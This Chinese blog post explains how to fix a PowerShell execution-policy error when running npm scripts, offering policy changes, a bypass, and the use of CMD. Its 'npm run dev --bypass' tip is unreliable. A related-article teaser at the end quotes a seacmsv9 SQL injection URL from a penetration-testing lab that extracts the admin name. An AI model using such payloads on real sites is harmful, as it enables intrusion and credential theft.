powershell:报错npm : 无法加载文件 D:\develop\nodejs\npm.ps1,因为在此系统上禁止运行脚本

news/2025/2/26 5:59:19

问题 

原因分析

由于 ​PowerShell 的执行策略(Execution Policy)​​ 限制导致的。Windows 系统默认禁止运行未签名的脚本(包括 npm 脚本),因此运行 npm run dev 时,PowerShell 阻止了脚本的执行。

解决方案

这个错误是由于 ​PowerShell 的执行策略(Execution Policy)​​ 限制导致的。Windows 系统默认禁止运行未签名的脚本(包括 npm 脚本),因此当你运行 npm run dev 时,PowerShell 阻止了脚本的执行。


解决方法

以下是几种常见的解决方法:


方法 1:临时更改执行策略
  1. 以管理员身份打开 PowerShell。
  2. 运行以下命令,将执行策略临时更改为 RemoteSigned
    Set-ExecutionPolicy RemoteSigned -Scope Process
  3. 再次运行 npm run dev,据应该可以正常执行。

注意:这种方法只会对当前 PowerShell 会话生效,关闭后策略会恢复默认值。


方法 2:永久更改执行策略
  1. 以管理员身份打开 PowerShell。
  2. 运行以下命令,将执行策略永久更改为 RemoteSigned
    Set-ExecutionPolicy RemoteSigned
  3. 确认更改:

输入 Y 并按回车键。

再次运行 npm run dev,应该可以正常执行。

注意:这种方法会永久更改执行策略,可能会影响系统安全性。如果担心安全问题,可以使用 ​方法 1


方法 3:绕过执行策略
  1. 打开 PowerShell。
  2. 在运行 npm run dev 时,使用 bypass 参数绕过执行策略:
    npm run dev --bypass
  3. 如果仍然不行,可以尝试直接运行以下命令:
    powershell -ExecutionPolicy Bypass -Command "npm run dev"

方法 4:使用 CMD 代替 PowerShell

如果你不想修改执行策略,可以直接使用 ​CMD(命令提示符)​​ 来运行命令:

  1. 打开 CMD。
  2. 运行以下命令:
    npm run dev
  3. 这样可以避免 PowerShell 的执行策略限制。

方法 5:检查 npm 脚本路径

如果错误信息中提到 npm.ps1 文件无法加载,可能是因为 npm 的安装路径或环境变量配置有问题。可以尝试以下步骤:

  1. 检查 npm 是否安装正确:
    npm -v
  2. 如果 npm 未正确安装,重新安装 Node.js 和 npm
  3. 确保 npm 的路径已添加到系统环境变量 PATH 中:

默认路径为:C:\Program Files\nodejs\

如果路径缺失,手动添加到 PATH 中。


http://www.niftyadmin.cn/n/5868128.html

相关文章

玩转Docker | 使用Docker部署IT-tools工具箱

玩转Docker | 使用Docker部署IT-tools工具箱 前言一、 IT-tools介绍简介主要特点二、系统要求环境要求环境检查Docker版本检查检查操作系统版本三、部署IT-tools服务下载镜像创建容器检查容器状态检查服务端口安全设置四、访问IT-tools应用五、测试与使用六、总结前言 在信息技…

Maven 依赖的深入理解(二)

四、Maven 依赖传递原理 (一)传递依赖的概念 在 Maven 项目中,传递依赖是一个非常重要的特性。它指的是当项目引入一个依赖时,这个依赖所依赖的其他组件库也会被 Maven 自动引入到项目中,而无需我们在项目的pom.xml文…

​Linux 服务器上部署搭建 Jupyter notebook【详细教程】​

安装anaconda3 一、linux服务器手动安装Anaconda3教程 1.首先清华镜像站 下载anaconda3。 此次下载的版本如下: 2.下载好后,使用WinSCP将下载好的文件上传到服务器。 3.切换到anaconda3所在文件位置 在文件目录下执行 bash Anaconda3-5.2.0-Linux-x8…

AI领域风云变幻:Deepseek爆火现象深度解析

摘要 神州数码集团首席AI专家谢国斌深入分析了Deepseek爆火背后的现象,揭示了AI领域竞争格局的深刻变革。随着算力内卷加剧,AI企业正面临前所未有的挑战与机遇。谢国斌指出,Deepseek的成功不仅在于其强大的算法和数据处理能力,更在…

猿大师播放器:网页内嵌VLC/FFPlayer在Web端直接播放RTSP/RTMP/H.265视频流

据统计,2024年中国视频转码服务器市场规模已突破百亿,但企业IT投入中约40%用于转码服务器的采购与维护,消防、安防等场景对实时性的严苛要求(如火灾预警需秒级响应),使得传统转码方案因延迟过高而屡屡失效&…

Python生成器250224

是由函数与yield关键字创造出来的写法,在特定情况下,可以帮助我们节省内存执行一个生成器函数,函数体代码不会运行,会返回一个生成器对象要想执行函数体内容,就需要使用这个生成器对象来执行 def func():print(123)yi…

渗透测试实验

1、seacmsv9注入管理员密码 获取管理员账号(name) http://www.test2.com/comment/api/index.php?gid1&page2&rlist[]%27,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),%27 2、获取管理员密码 http://www…

【项目】基于Boost自主实现搜索引擎

🔥 个人主页:大耳朵土土垚 🔥 所属专栏:Linux系统编程 这里将会不定期更新有关Linux的内容,欢迎大家点赞,收藏,评论🥳🥳🎉🎉🎉 文章目…